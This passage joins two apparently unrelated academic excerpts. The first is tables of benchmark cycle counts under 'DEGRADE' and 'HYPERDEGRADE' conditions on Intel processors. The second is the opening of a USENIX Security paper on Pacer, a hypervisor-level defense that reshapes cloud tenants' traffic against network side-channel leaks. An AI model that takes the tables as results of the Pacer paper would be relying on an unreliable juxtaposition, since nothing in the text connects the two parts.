expint 29724 395738 (13.3x) 4513790 (151.9x) 30193 377277 (12.5x) 5138636 (170.2x)
fac 4595 64388 (14.0x) 1719178 (374.1x) 4761 60222 (12.6x) 1815137 (381.2x)
fasta 2218271 28380647 (12.8x) 628593367 (283.4x) 2216456 33215414 (15.0x) 644852892 (290.9x)
fdct 7759 23118 (3.0x) 935889 (120.6x) 7863 33953 (4.3x) 993673 (126.4x)
fibcall 2889 19083 (6.6x) 751337 (260.0x) 3054 19906 (6.5x) 824186 (269.8x)
fir 764841 18665980 (24.4x) 731941919 (957.0x) 764893 17441064 (22.8x) 685505153 (896.2x)
frac 12426 138238 (11.1x) 3326194 (267.7x) 12614 153789 (12.2x) 3927731 (311.4x)
huffbench 1400373 12636520 (9.0x) 185693684 (132.6x) 1424397 10053959 (7.1x) 187339402 (131.5x)
insertsort 4381 76538 (17.5x) 1937214 (442.1x) 4518 82371 (18.2x) 2423159 (536.3x)
janne_complex 2443 17672 (7.2x) 387808 (158.7x) 2589 15907 (6.1x) 403711 (155.9x)
jfdctint 11742 117469 (10.0x) 2469100 (210.3x) 11917 106261 (8.9x) 3063148 (257.0x)
lcdnum 2247 20278 (9.0x) 283506 (126.1x) 2419 14790 (6.1x) 357861 (147.9x)
levenshtein 151336 3413532 (22.6x) 94467885 (624.2x) 148115 3324556 (22.4x) 92479156 (624.4x)
ludcmp 8941 86599 (9.7x) 2064081 (230.8x) 9190 71764 (7.8x) 2182355 (237.5x)
matmult-float 67852 1760965 (26.0x) 45235894 (666.7x) 68377 1481444 (21.7x) 53988799 (789.6x)
matmult-int 438567 13438448 (30.6x) 371621846 (847.4x) 444120 9045445 (20.4x) 424979930 (956.9x)
mergesort 519862 9598330 (18.5x) 179589127 (345.5x) 517294 8497198 (16.4x) 207490953 (401.1x)
miniz 3405 17987 (5.3x) 224863 (66.0x) 3547 12738 (3.6x) 290558 (81.9x)
minver 6391 53104 (8.3x) 1275079 (199.5x) 6824 44293 (6.5x) 1331331 (195.1x)
nbody 250992 5342357 (21.3x) 164185274 (654.1x) 253584 5439927 (21.5x) 162955284 (642.6x)
ndes 113555 1740050 (15.3x) 34799379 (306.5x) 119918 1563197 (13.0x) 53176247 (443.4x)
nettle-aes 113306 489386 (4.3x) 14676852 (129.5x) 113123 488887 (4.3x) 21739421 (192.2x)
nettle-arcfour 87327 1784265 (20.4x) 22378097 (256.3x) 87136 1515589 (17.4x) 25846101 (296.6x)
nettle-cast128 13957 23609 (1.7x) 198077 (14.2x) 13263 23692 (1.8x) 166519 (12.6x)
nettle-des 9179 27907 (3.0x) 250080 (27.2x) 9336 30056 (3.2x) 202710 (21.7x)
nettle-md5 7482 35234 (4.7x) 549028 (73.4x) 7604 29737 (3.9x) 732806 (96.4x)
nettle-sha256 14957 55160 (3.7x) 1459782 (97.6x) 15014 56483 (3.8x) 1314044 (87.5x)
newlib-exp 3667 23027 (6.3x) 344297 (93.9x) 3815 23708 (6.2x) 484350 (126.9x)
newlib-log 3176 14916 (4.7x) 352798 (111.1x) 3304 15313 (4.6x) 417836 (126.4x)
newlib-mod 2280 10949 (4.8x) 203870 (89.4x) 2486 11338 (4.6x) 221979 (89.3x)
newlib-sqrt 9448 140972 (14.9x) 5497784 (581.8x) 9608 143752 (15.0x) 3787532 (394.2x)
ns 27810 920498 (33.1x) 30642549 (1101.9x) 24270 718504 (29.6x) 25730490 (1060.1x)
nsichneu 12465 17453 (1.4x) 129175 (10.4x) 12680 17799 (1.4x) 128992 (10.2x)
prime 58915 934324 (15.9x) 11517642 (195.5x) 57920 922405 (15.9x) 14618565 (252.4x)
qsort 3868 34437 (8.9x) 636532 (164.5x) 4014 26922 (6.7x) 831894 (207.2x)
qurt 5456 56121 (10.3x) 972214 (178.2x) 5588 59091 (10.6x) 1089667 (195.0x)
recursion 7983 149886 (18.8x) 4806422 (602.0x) 7365 140916 (19.1x) 5193849 (705.1x)
rijndael 1831062 11743208 (6.4x) 235853943 (128.8x) 1830953 9728816 (5.3x) 280555490 (153.2x)
select 2499 18750 (7.5x) 286758 (114.7x) 2615 15980 (6.1x) 310185 (118.6x)
sglib-arraybinsearch 32695 941448 (28.8x) 24948746 (763.1x) 32073 913077 (28.5x) 25650916 (799.7x)
sglib-arrayheapsort 73813 964227 (13.1x) 28155013 (381.4x) 74316 1056981 (14.2x) 27101576 (364.7x)
sglib-arrayquicksort 35820 584648 (16.3x) 21360149 (596.3x) 35771 445614 (12.5x) 19761832 (552.4x)
sglib-dllist 103228 931802 (9.0x) 19577829 (189.7x) 103490 784713 (7.6x) 21655708 (209.3x)
sglib-hashtable 73515 720144 (9.8x) 13448462 (182.9x) 75750 672251 (8.9x) 16372567 (216.1x)
sglib-listinsertsort 148962 4155691 (27.9x) 57359384 (385.1x) 147850 4116964 (27.8x) 82759796 (559.8x)
sglib-listsort 82649 851066 (10.3x) 21974191 (265.9x) 83363 786974 (9.4x) 22087737 (265.0x)
sglib-queue 79274 976908 (12.3x) 20131755 (254.0x) 79976 999905 (12.5x) 28994719 (362.5x)
sglib-rbtree 194861 1795057 (9.2x) 39956917 (205.1x) 198968 1518989 (7.6x) 47673755 (239.6x)
slre 81356 961313 (11.8x) 22990277 (282.6x) 81068 885753 (10.9x) 27643530 (341.0x)
sqrt 278604 5427855 (19.5x) 66636453 (239.2x) 275896 4302655 (15.6x) 78476306 (284.4x)
st 46255 758154 (16.4x) 13044156 (282.0x) 45667 563498 (12.3x) 14099803 (308.7x)
statemate 5587 36137 (6.5x) 989900 (177.2x) 5768 36597 (6.3x) 1074219 (186.2x)
stb_perlin 170355 2261082 (13.3x) 64860091 (380.7x) 141765 2404186 (17.0x) 63274557 (446.3x)
stringsearch1 15819 91324 (5.8x) 4618112 (291.9x) 16061 102834 (6.4x) 4935053 (307.3x)
strstr 5200 48645 (9.4x) 1224891 (235.5x) 5354 51939 (9.7x) 1345225 (251.2x)
tarai 2884 28585 (9.9x) 754962 (261.7x) 2965 18523 (6.2x) 682388 (230.1x)
trio-snprintf 16952 78512 (4.6x) 1100793 (64.9x) 17144 72171 (4.2x) 1273947 (74.3x)
trio-sscanf 21499 152353 (7.1x) 2933134 (136.4x) 22001 120026 (5.5x) 3577032 (162.6x)
ud 11215 69845 (6.2x) 1724508 (153.8x) 11106 75100 (6.8x) 2196806 (197.8x)
whetstone 335501 2891946 (8.6x) 55686230 (166.0x) 301591 2700492 (9.0x) 61531596 (204.0x)
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Table 9: BEEBS performance degradation results (cycles, thousands) on Coffee Lake and Whiskey Lake.
Coffee Lake Whiskey Lake

Benchmark NODEGRADE DEGRADE HYPERDEGRADE NODEGRADE DEGRADE HYPERDEGRADE

aha-compress 71096 813585 (11.4x) 21102464 (296.8x) 69668 816475 (11.7x) 23975673 (344.1x)
aha-mont64 21931 468459 (21.4x) 12821078 (584.6x) 21687 492008 (22.7x) 15890278 (732.7x)
bs 1874 9676 (5.2x) 183221 (97.8x) 1763 8435 (4.8x) 207217 (117.5x)
bubblesort 335556 9468033 (28.2x) 322437859 (960.9x) 302489 11286756 (37.3x) 369824760 (1222.6x)
cnt 13046 231693 (17.8x) 5177506 (396.8x) 13030 240288 (18.4x) 6270126 (481.2x)
compress 8728 115043 (13.2x) 4971456 (569.6x) 8552 115566 (13.5x) 5197671 (607.7x)
cover 6779 115233 (17.0x) 3332393 (491.6x) 7151 118538 (16.6x) 2716975 (379.9x)
crc 7526 160400 (21.3x) 4230637 (562.1x) 7601 177394 (23.3x) 3880102 (510.4x)
crc32 47198 1842254 (39.0x) 36548242 (774.4x) 46386 2035556 (43.9x) 37694482 (812.6x)
ctl-stack 37440 616068 (16.5x) 14702668 (392.7x) 37847 725898 (19.2x) 21964505 (580.3x)
ctl-string 31313 853770 (27.3x) 18846973 (601.9x) 31845 704006 (22.1x) 19457277 (611.0x)
ctl-vector 30486 436212 (14.3x) 9325473 (305.9x) 30914 442518 (14.3x) 10432897 (337.5x)
cubic 33872 209368 (6.2x) 9250622 (273.1x) 30295 215268 (7.1x) 9827263 (324.4x)
dijkstra 1970036 44216908 (22.4x) 1253757348 (636.4x) 1961091 42750800 (21.8x) 1470626853 (749.9x)
dtoa 13163 88265 (6.7x) 2015472 (153.1x) 13020 78937 (6.1x) 2348685 (180.4x)
duff 6198 73171 (11.8x) 2860949 (461.6x) 6043 63287 (10.5x) 2248195 (372.0x)
edn 194838 3877224 (19.9x) 86990331 (446.5x) 196602 4120570 (21.0x) 104584239 (532.0x)
expint 29623 468879 (15.8x) 4908536 (165.7x) 29713 453217 (15.3x) 5642536 (189.9x)
fac 4334 77443 (17.9x) 1858161 (428.7x) 4226 62654 (14.8x) 2150388 (508.8x)
fasta 2241455 36760694 (16.4x) 718824003 (320.7x) 2285382 38691950 (16.9x) 770811211 (337.3x)
fdct 7519 25085 (3.3x) 1528669 (203.3x) 7465 38172 (5.1x) 2103383 (281.7x)
fibcall 2713 20411 (7.5x) 827897 (305.2x) 2731 22243 (8.1x) 893172 (327.0x)
fir 772946 17543810 (22.7x) 804645036 (1041.0x) 855949 22698227 (26.5x) 827569902 (966.8x)
frac 12313 172861 (14.0x) 5878181 (477.4x) 12136 185299 (15.3x) 5985378 (493.2x)
huffbench 1417998 14160500 (10.0x) 216244934 (152.5x) 1449947 13955966 (9.6x) 229499477 (158.3x)
insertsort 4212 81626 (19.4x) 2250385 (534.2x) 4065 95022 (23.4x) 2758031 (678.3x)
janne_complex 2272 17739 (7.8x) 449771 (197.9x) 2171 18005 (8.3x) 484653 (223.2x)
jfdctint 11636 142194 (12.2x) 2969790 (255.2x) 11497 123960 (10.8x) 3773542 (328.2x)
lcdnum 2065 22535 (10.9x) 323111 (156.4x) 1950 16860 (8.6x) 395945 (203.0x)
levenshtein 153352 3282550 (21.4x) 108037727 (704.5x) 149114 4310603 (28.9x) 114304863 (766.6x)
ludcmp 8823 82479 (9.3x) 2434265 (275.9x) 8765 83908 (9.6x) 3208591 (366.0x)
matmult-float 68462 1689146 (24.7x) 50348408 (735.4x) 67895 1762057 (26.0x) 57860913 (852.2x)
matmult-int 443996 9399015 (21.2x) 375279612 (845.2x) 443126 11765284 (26.6x) 501250720 (1131.2x)
mergesort 525439 10632506 (20.2x) 222978650 (424.4x) 514642 10430846 (20.3x) 281787323 (547.5x)
miniz 3270 14691 (4.5x) 412024 (126.0x) 3143 13570 (4.3x) 487135 (155.0x)
minver 6194 53678 (8.7x) 1413440 (228.2x) 6373 52712 (8.3x) 1506640 (236.4x)
nbody 256466 6453615 (25.2x) 191264270 (745.8x) 252409 5888723 (23.3x) 216254299 (856.8x)
ndes 114508 1772845 (15.5x) 54788991 (478.5x) 119261 1683039 (14.1x) 65749412 (551.3x)
nettle-aes 114333 567288 (5.0x) 31052424 (271.6x) 112622 576548 (5.1x) 34106112 (302.8x)
nettle-arcfour 88005 2120577 (24.1x) 26954748 (306.3x) 86661 1436640 (16.6x) 35980953 (415.2x)
nettle-cast128 13974 26723 (1.9x) 206736 (14.8x) 12886 23546 (1.8x) 317716 (24.7x)
nettle-des 9078 32316 (3.6x) 255601 (28.2x) 8921 23980 (2.7x) 238207 (26.7x)
nettle-md5 7350 32253 (4.4x) 675813 (91.9x) 7217 29839 (4.1x) 937431 (129.9x)
nettle-sha256 14889 65280 (4.4x) 1735502 (116.6x) 14623 62231 (4.3x) 1652764 (113.0x)
newlib-exp 3658 25479 (7.0x) 661410 (180.8x) 3352 18812 (5.6x) 639414 (190.7x)
newlib-log 3038 16828 (5.5x) 511174 (168.2x) 2908 12749 (4.4x) 546217 (187.8x)
newlib-mod 2098 12596 (6.0x) 286197 (136.4x) 2010 13121 (6.5x) 337327 (167.8x)
newlib-sqrt 9430 186240 (19.7x) 6294054 (667.4x) 9174 183378 (20.0x) 5230626 (570.1x)
ns 28058 823601 (29.4x) 32090464 (1143.7x) 23796 943435 (39.6x) 32109538 (1349.3x)
nsichneu 12323 18872 (1.5x) 160230 (13.0x) 12236 18332 (1.5x) 164601 (13.5x)
prime 58925 944634 (16.0x) 16115583 (273.5x) 57233 1005099 (17.6x) 18090661 (316.1x)
qsort 3625 34736 (9.6x) 810665 (223.6x) 3543 28630 (8.1x) 1046006 (295.2x)
qurt 5333 67598 (12.7x) 1442175 (270.4x) 5140 64387 (12.5x) 1418908 (276.0x)
recursion 7838 177321 (22.6x) 5943982 (758.3x) 6813 147406 (21.6x) 5670809 (832.3x)
rijndael 1846763 10954085 (5.9x) 298854160 (161.8x) 1829801 11877918 (6.5x) 301644496 (164.9x)
select 2304 17312 (7.5x) 335812 (145.7x) 2182 18485 (8.5x) 369037 (169.1x)
sglib-arraybinsearch 32531 1061435 (32.6x) 28361404 (871.8x) 31769 1107230 (34.9x) 31999324 (1007.2x)
sglib-arrayheapsort 74568 1174730 (15.8x) 41340255 (554.4x) 73905 1196702 (16.2x) 50085952 (677.7x)
sglib-arrayquicksort 36200 583738 (16.1x) 26300739 (726.5x) 35305 545617 (15.5x) 25654013 (726.6x)
sglib-dllist 104108 947183 (9.1x) 26737508 (256.8x) 102530 930507 (9.1x) 31315926 (305.4x)
sglib-hashtable 72956 752795 (10.3x) 23759580 (325.7x) 74857 798844 (10.7x) 27269711 (364.3x)
sglib-listinsertsort 150571 3901838 (25.9x) 79469309 (527.8x) 151002 5126991 (34.0x) 99854495 (661.3x)
sglib-listsort 83492 865237 (10.4x) 26506487 (317.5x) 83432 879144 (10.5x) 31338183 (375.6x)
sglib-queue 79923 1171442 (14.7x) 33365763 (417.5x) 79308 1213322 (15.3x) 41832831 (527.5x)
sglib-rbtree 197550 1975689 (10.0x) 55392435 (280.4x) 198785 1797773 (9.0x) 59307610 (298.3x)
slre 81343 966902 (11.9x) 30416350 (373.9x) 79819 1022986 (12.8x) 34449484 (431.6x)
sqrt 281429 6231013 (22.1x) 91157327 (323.9x) 286888 4148972 (14.5x) 87278192 (304.2x)
st 46787 879737 (18.8x) 13216784 (282.5x) 45113 591158 (13.1x) 16071550 (356.2x)
statemate 5426 48227 (8.9x) 1187334 (218.8x) 5319 41665 (7.8x) 1302996 (244.9x)
stb_perlin 170913 2951012 (17.3x) 81001658 (473.9x) 141537 3078432 (21.7x) 85481578 (604.0x)
stringsearch1 15688 95590 (6.1x) 5010590 (319.4x) 15624 116866 (7.5x) 6019351 (385.3x)
strstr 5072 59257 (11.7x) 1662703 (327.8x) 4943 51456 (10.4x) 2064634 (417.6x)
tarai 2698 25798 (9.6x) 898884 (333.1x) 2566 24645 (9.6x) 937342 (365.3x)
trio-snprintf 16752 89957 (5.4x) 1578752 (94.2x) 16670 80103 (4.8x) 1886009 (113.1x)
trio-sscanf 21441 170602 (8.0x) 4218744 (196.8x) 21561 121913 (5.7x) 4357713 (202.1x)
ud 11003 70482 (6.4x) 2121308 (192.8x) 10692 77272 (7.2x) 2755305 (257.7x)
whetstone 337043 3331038 (9.9x) 87417253 (259.4x) 301729 3001540 (9.9x) 99761886 (330.6x)
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Table 10: PARSEC performance degradation results (cycles, thousands) on Skylake and Kaby Lake.
Skylake Kaby Lake

Benchmark NODEGRADE DEGRADE HYPERDEGRADE NODEGRADE DEGRADE HYPERDEGRADE

blackscholes 1054281 1780761 (1.7x) 18930407 (18.0x) 1076981 1865230 (1.7x) 23938125 (22.2x)
streamcluster 1615085 5743487 (3.6x) 135072031 (83.6x) 1609993 5117245 (3.2x) 149581491 (92.9x)
fluidanimate 1811088 8432568 (4.7x) 152698071 (84.3x) 1819377 8398743 (4.6x) 176033235 (96.8x)
swaptions 1530971 5362703 (3.5x) 85922802 (56.1x) 1534618 5586172 (3.6x) 112188654 (73.1x)
freqmine 2287791 4632607 (2.0x) 59327806 (25.9x) 2312730 4426167 (1.9x) 70071636 (30.3x)
canneal 2682216 9233551 (3.4x) 104439434 (38.9x) 3017818 8427129 (2.8x) 123489532 (40.9x)

Table 11: PARSEC performance degradation results (cycles, thousands) on Coffee Lake and Whiskey Lake.
Coffee Lake Whiskey Lake

Benchmark NODEGRADE DEGRADE HYPERDEGRADE NODEGRADE DEGRADE HYPERDEGRADE

blackscholes 960317 1653042 (1.7x) 23307722 (24.3x) 897093 1728380 (1.9x) 35757406 (39.9x)
streamcluster 1612074 5753689 (3.6x) 150934680 (93.6x) 1438805 5510738 (3.8x) 263693538 (183.3x)
fluidanimate 1616088 7346424 (4.5x) 172996775 (107.0x) 1626180 9221194 (5.7x) 212095965 (130.4x)
swaptions 1614836 5397065 (3.3x) 92169463 (57.1x) 1356684 6204397 (4.6x) 149384195 (110.1x)
freqmine 2152394 4007422 (1.9x) 69069190 (32.1x) 2113832 4481302 (2.1x) 80329274 (38.0x)
canneal 2567086 7895577 (3.1x) 112026498 (43.6x) 2566824 9135742 (3.6x) 127757591 (49.8x)
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Abstract
Network side channels (NSCs) leak secrets through packet
timing and packet sizes. They are of particular concern in
public IaaS Clouds, where any tenant may be able to colocate
and indirectly observe a victim’s traffic shape. We present
Pacer, the first system that eliminates NSC leaks in public
IaaS Clouds end-to-end. It builds on the principled technique
of shaping guest traffic outside the guest to make the traffic
shape independent of secrets by design. However, Pacer also
addresses important concerns that have not been considered
in prior work—it prevents internal side-channel leaks from
affecting reshaped traffic, and it respects network flow control,
congestion control and loss recovery signals. Pacer is imple-
mented as a paravirtualizing extension to the host hypervisor,
requiring modest changes to the hypervisor and the guest ker-
nel and optional, minimal changes to applications. We present
Pacer’s key abstraction of a cloaked tunnel, describe its design
and implementation, and show through an experimental eval-
uation that Pacer imposes moderate overheads on bandwidth,
client latency, and server throughput, while thwarting attacks
using state-of-the-art CNN classifiers.

1 Introduction

Sharing resources is in the very nature of public Clouds. How-
ever, many side-channel leaks arise when mutually distrust-
ing parties share hardware resources. Shared CPUs, cores,
caches, and memory buses have all been exploited as side
channels [25, 32, 43, 54, 60, 78–80]. As a result, side-channel
leaks in Cloud environments are a growing concern for com-
puter security research.

In this paper, we revisit a specific class of side-channel
leaks—those arising from shared network elements—in the
specific setting of public IaaS Clouds. These channels, called
network side channels (NSCs), leak information via traffic
shape (packet timing and packet size) even when packet pay-
loads are encrypted. We argue below that such leaks ought

∗Work done while Aastha Mehta was a graduate student at MPI-SWS.

to be a serious concern in public Clouds. We then describe
key requirements for a practical, comprehensive defense that
mitigates NSCs in public Clouds. Despite decades of work on
mitigating NSCs, these requirements have not received much
attention. We present Pacer, a new system that satisfies all the
requirements and effectively mitigates NSCs in IaaS Clouds.

NSCs are a serious concern in Clouds. Prior work has
shown that traffic shape is strongly correlated with secrets
in many applications – traffic shape can reveal sensitive in-
formation about webpages [15, 17, 21, 26, 28, 29, 42, 64, 71],
video streams [59], VoIP chats [74], users’ keystrokes [63],
and even private keys [11, 12]. Chen et al. [16] demonstrate
that users’ medical conditions, family income, and invest-
ments can be gleaned from the encrypted traffic of healthcare,
taxation, investment, and web search services provided as
software-as-a-service (SaaS) offerings.

While many of these attacks relied on direct access to the
victim’s traffic, more recent work has shown that an unpriv-
ileged adversary can also indirectly infer the victim’s traf-
fic shape by inducing contention with the victim’s traffic
at a shared network element and measuring resulting varia-
tions in the adversary’s own traffic shape [6, 57, 59]. In fact,
we were able to create such an indirect attack to recognize
streamed videos with 96% accuracy using a CNN classifier
(§A). Such indirect attacks are of particular concern in public
(IaaS) Clouds as adversaries can rent virtual machines (VMs)
and even colocate with a victim’s VM at low cost [30, 31, 57].
Hence, NSCs should be a significant concern for security
researchers, Cloud tenants and Cloud providers alike.

Requirements for mitigating NSCs. Any comprehensive
mitigation of NSC attacks in an IaaS Cloud must satisfy the
following requirements. R1. The mitigation must prevent
leaks through all aspects of the shape of transmitted traf-
fic, with provable guarantees. R2. In line with basic Cloud
philosophy, the mitigation must allow for elastic (dynami-
cally adaptive) sharing of network resources. R3. Although
some overhead for mitigating a threat as strong as NSCs is
unavoidable, the mitigation should still permit responsive,
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client-facing services and not require excessive resources.
R4. The mitigation should work with any guest VM and ac-
commodate bursty network traffic, with minimal application
changes. In other words, the mitigation should be general.

These requirements rule out many NSC mitigation tech-
niques, specifically those that prevent leaks via either packet
timing or packet size but not both (violates R1) [61,75,77], do
not handle bursty traffic (violates R4) [21, 75], rely on multi-
path routing [20] or adding “best-effort” noise without strong
guarantees (violates R1) [36,47], hard, static bandwidth reser-
vation for tenants including TDMA (violates R2) [69], or
application code rewriting (violates R4) [47].

A general approach that can meet these requirements is to
change the shape the traffic in a dedicated system component
outside the application to make it independent of secrets. The
final shape can be learnt by the shaping component adap-
tively [7, 46], or the application can provide it to the shaping
component [13, 72]. Although this approach has been consid-
ered in prior work, the Cloud setting and the public Internet
have additional practical requirements that have not been con-
sidered in prior work: R5. The traffic-shaping logic must
take flow control and loss recovery of the network protocol
into account (else information may leak via the presence of
ACKs in the reverse direction), and it must respect network
congestion signals (else it could destabilize the network). R6.
The traffic-shaping component must be integrated with Cloud
servers—as opposed to routers or middleboxes—to prevent
colocated attacker from exploiting contention on servers’ net-
work interface (NIC). Consequently, the shaping component
must be performance-isolated from secret-carrying Cloud ten-
ants to prevent internal side-channel leaks within the server
from affecting the reshaped traffic. To the best of our knowl-
edge, no prior work on NSC mitigation satisfies all of R1–R6.

Our contribution: Pacer. The requirements R1–R6 pose
significant design and engineering challenges for a secure and
practical NSC mitigation solution. To our knowledge, Pacer
is the first end-to-end system that mitigates NSCs compre-
hensively addressing all requirements. Pacer’s contribution is
twofold: a novel cloaked tunnel abstraction that shapes traf-
fic between two guests on different hosts end-to-end, and a
realization of this abstraction for IaaS Clouds.

Briefly, a cloaked tunnel shapes application traffic to make
it provably independent of secrets at the traffic’s origin (R1).
This eliminates NSC’s by design. The tunnel multiplexes mul-
tiple flows at fine granularity (R2). The tunnel works with all
IaaS VMs and unmodified applications; to improve efficiency,
applications may optionally interact with the tunnel to specify
which traffic shapes should be used on their flows to improve
efficiency (R3); this requires only small changes to applica-
tions (R4). (The tunnel is secure as long as applications pick
shapes independently of secrets.) Finally, by design, the tunnel
is isolated from guest applications (R6) and it takes network
congestion, flow control, and loss recovery into account when
shaping traffic (R5). The cloaked tunnel described above is a

general abstraction that mitigates NSC leaks in any setting,
not just Clouds.

In addition, Pacer implements a paravirtualized instance of
the cloaked tunnel integrated with IaaS Cloud servers. Pacer
relies on a hypervisor component, called HyPace, and a guest
kernel module, called GPace, which interacts with HyPace
to facilitate congestion management, loss recovery, and flow
control during shaping (R5). HyPace and GPace implement
a novel masking mechanism to ensure timely packet trans-
mission independent of guest delays, thus achieving perfor-
mance isolation from the guests (R6). Furthermore, HyPace
implements a secure batching mechanism to amortize the
high costs of masking and sustain ~7.6 Gbps line rate (R3).
An experimental evaluation of our prototype on two IaaS
applications—a medical information site and a video stream-
ing service—shows that Pacer defeats powerful NSCs with
moderate overhead.

Organization. We present the threat model, design chal-
lenges, and key ideas behind Pacer in §2. We describe the
general cloaked tunnel abstraction, define its requirements and
properties, and argue its security in §3. We describe Pacer’s
implementation of a paravirtualized instance of the tunnel
in IaaS Cloud servers in §4. We discuss generating efficient
transmit schedules for traffic shaping in §5. We present our im-
plementation and empirical evaluation of Pacer’s performance
overheads and security in §6. We discuss related work in §7
and conclude in §8. In the appendix, we describe NSC attacks
(§A); we discuss the security of Pacer’s masking mechanism
(§B); and, we describe heuristics for workload clustering (§C).
A separate technical report includes an abstract formal model
capturing relevant aspects of Pacer’s design and proof of its
security [49].

2 Overview

As a running example, we use the scenario of a patient who
consults a trusted, Cloud-hosted medical website MedWeb
for diagnostic and therapy options, medical procedures, and
care providers in their area. The patient wishes to keep their
condition from employers, health insurers, and other parties
for fear of discrimination. We show how Pacer can ensure
the patient’s privacy by hiding the content they retrieve from
colocated tenants and other network observers, with mini-
mal modifications to MedWeb, and with modest overhead in
network bandwidth and response time.

2.1 Threat model

The victim in the public IaaS Cloud is a tenant executing ar-
bitrary computations in one or more guest VMs, and serving
a set of trusted clients that connect to its VMs using IPSec
or a VPN (virtual private network) with pre-shared key au-

2820    31st USENIX Security Symposium USENIX Association



Figure 1: The adversary can (a) colocate with victim’s VM or
backend services in the Cloud, (b) control clients of its own
VMs, and (c) use cross-traffic between any pair of these to
infer the shape of the victim’s traffic at shared network links.

thentication1. The MedWeb site, for instance, authenticates its
registered clients using IPSec-PSK2. To serve a client request,
the victim may invoke other Cloud backend services hosted
on separate physical servers. The victim’s goal is to protect its
secrets; these secrets can be reflected in parameters of client
requests (e.g., the name of a requested file), in the victim’s
internal state (e.g., which request handlers are cache-hot be-
cause they were recently accessed), or in the backend traffic.

Pacer’s goal includes preventing NSC leaks of the victim’s
secrets to anyone able to rent other VMs in the Cloud. Prior
work has shown that deliberate colocation with a victim VM
is feasible [30, 31, 57]. Accordingly, we assume a strong ad-
versary that may colocate its VMs with the victim’s VM and
indirectly infer the shape of the victim’s outbound traffic by
observing contention with its own cross-traffic. The adversary
may use this method to infer the traffic shape of the victim
at shared network elements in the common server, rack or
datacenter3. The adversary has access to all services available
to IaaS guests, including the ability to time the transmission
and reception of its own network packets with high precision.
The adversary controls network clients, which communicate
with its VMs via the network. However, the adversary cannot
break standard cryptography, break into the victim’s VPN,
impersonate/compromise the victim’s clients, or connect to
the instances of backend services used by the victim. While
not the primary goal of our work, Pacer’s design also protects
against powerful adversaries who can directly observe the vic-
tim’s traffic as well as delay, drop, and inject network packets
(e.g., ISPs). Figure 1 summarizes Pacer’s threat model.

Non-goals. Pacer addresses NSCs; we assume that micro-
architectural side-channel leaks are mitigated by renting an
entire server socket and the associated NUMA domain to the

1Guests may require a second level of authentication to separate clients’
privileges, but this is not relevant for Pacer’s security.

2Pacer requires IPSec-PSK because the timing of the tenant’s response to
an unauthenticated client’s connection attempt may be affected by tenant’s
concurrent processing of other clients’ secrets, thus revealing these secrets.

3Prior work has shown that traffic shape can be inferred through such
methods by an adversary colocated on the same physical machine as well as
an adversary contending on a downstream network link [59]. Thus, renting
dedicated physical machines is insufficient to mitigate NSCs.

victim for exclusive use. Alternatively, Pacer can be com-
bined with complementary work to mitigate side-channel
leaks through other shared resources [10, 67]. The Cloud
platform and provider are trusted.

Our focus is on protecting secrets within the content pro-
vided by a server. Hiding the identity of the service re-
quested [21,28,29], the communication protocol used [22,76],
or the IP address [65] of the client are non-goals. Pacer can
be combined with other techniques to address them. In our
running example of MedWeb, the patient wishes to hide what
specific disease, procedures and care facilities (s)he is inter-
ested in, not that (s)he is accessing a medical site and video
service—most people do occasionally. Note also that hiding
the patient’s IP address alone (e.g., using Tor or a VPN) would
be insufficient, because aspects of the content retrieved, e.g.,
the geographic location of care facilities the client retrieves,
can reveal the patient’s identity.
Prototype assumptions. Pacer’s prototype additionally as-
sumes that clients’ request traffic reveals no secrets through its
shape (its length, number of packets, or timing). In particular,
the time of requests is assumed to not depend on any secrets or
the actual completion times of previous responses. However,
Pacer’s design can support bidirectional traffic shaping, either
by running on the client side the Pacer-enabled hypervisor
and kernel, or a kernel with all of Pacer’s functionalities.

2.2 Key ideas
Pacer avoids NSCs by ensuring the shape of the vic-
tim’s network traffic is secret-independent. Ensuring secret-
independence requires that: (i) The choice of traffic shape
must not reveal secrets. For instance, if a constant rate of one
1.5kB packet per millisecond for 10 seconds is chosen to trans-
mit a particular video, then this choice must not be specific to
the video. (ii) If the actual packet transmission times deviate
from the chosen shape, the deviations must not reflect appli-
cation secrets. In our example, if the actual transmission time
of a packet deviates slightly from its expected time, then this
deviation must not reflect the CPU and memory consumption
of the concurrent video processing in a way that may identify
the video.
Secret-independent traffic shapes. A strawman secure shap-
ing strategy is to continuously transmit fixed-size packets at
fixed intervals independent of the application’s actual work-
load; in the absence of application payload, dummy packets
are transmitted. This strategy is highly inefficient when the
application workload is bursty. Pacer instead allows the shape
to vary as long as the variations do not depend on secrets.
Specifically, if a guest can partition its workload into classes
based on public information, Pacer permits the use of a dif-
ferent, efficient traffic shape in each class. Returning to our
example, suppose MedWeb streams videos about medical
procedures in different resolutions. Then, the shape used to
stream a video can vary by resolution, which only reveals
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the patient’s available bandwidth but not the specific medical
procedure being watched.

Gray-box profiling. Secret-independent traffic shaping re-
quires understanding how a guest’s secrets affect its network
traffic. Black-box profiling of guests cannot reliably discover
all dependencies and therefore is not secure. Program analysis,
which could discover all dependencies in principle, does not
scale well. Pacer instead relies on gray-box profiling, which
requires no knowledge of a guest’s internals beyond an op-
tional traffic indicator provided by the guest. This indicator
partitions the guest’s possible network interactions indepen-
dent of secrets, and can be used to profile the guest’s network
interactions and generate a transmit schedule for each parti-
tion (§5).

Paravirtualized cloaked tunnel support. To enforce traffic
shapes, Pacer provides paravirtualized hypervisor support that
enables guests to implement a cloaked network tunnel, while
adding only a modest amount of code to the hypervisor. A
performance-isolated shaping component in the hypervisor,
called HyPace, initiates transmissions based on a schedule.
A guest kernel module, GPace, shares state with HyPace for
schedule installation and adaptation based on network conges-
tion, loss recovery, and flow control. HyPace’s and GPace’s
execution can experience interference from the guest due to
side channels, so Pacer uses a novel idea—it masks any execu-
tion delays in HyPace and GPace that could influence actual
packet transmission times (R6).

3 Cloaked tunnel

In this section, we describe an idealized realization of the
cloaked tunnel abstraction and its security properties, inde-
pendent of a specific application setting, implementation, or
placement of tunnel entry and exits.

We begin with a discussion of three high-level properties re-
quired in a practical, secure cloaked tunnel. These properties
mirror the requirements R1, R5, and R6 from §1. P1. Secret-
independent traffic shape: Requires that transmissions follow
a schedule that does not depend on secrets (R1), and that
actual transmissions within a schedule are not delayed by
potentially secret-dependent computations (R6). P2. Unob-
servable payload traffic: The traffic shape must not reveal,
directly or indirectly, an application’s actual time and rate of
payload generation and consumption. This implies that flow
control must not affect the traffic shape (R5); that padded con-
tent must elicit the same response (e.g., ACKs) from receivers
as payload data; and that packet encryption must encompass
the padding. This in turn requires that padding be added at or
above the transport layer, while encryption be done below the
transport layer. P3. Congestion control: The tunnel must react
to network congestion (R5). Congestion control is needed for
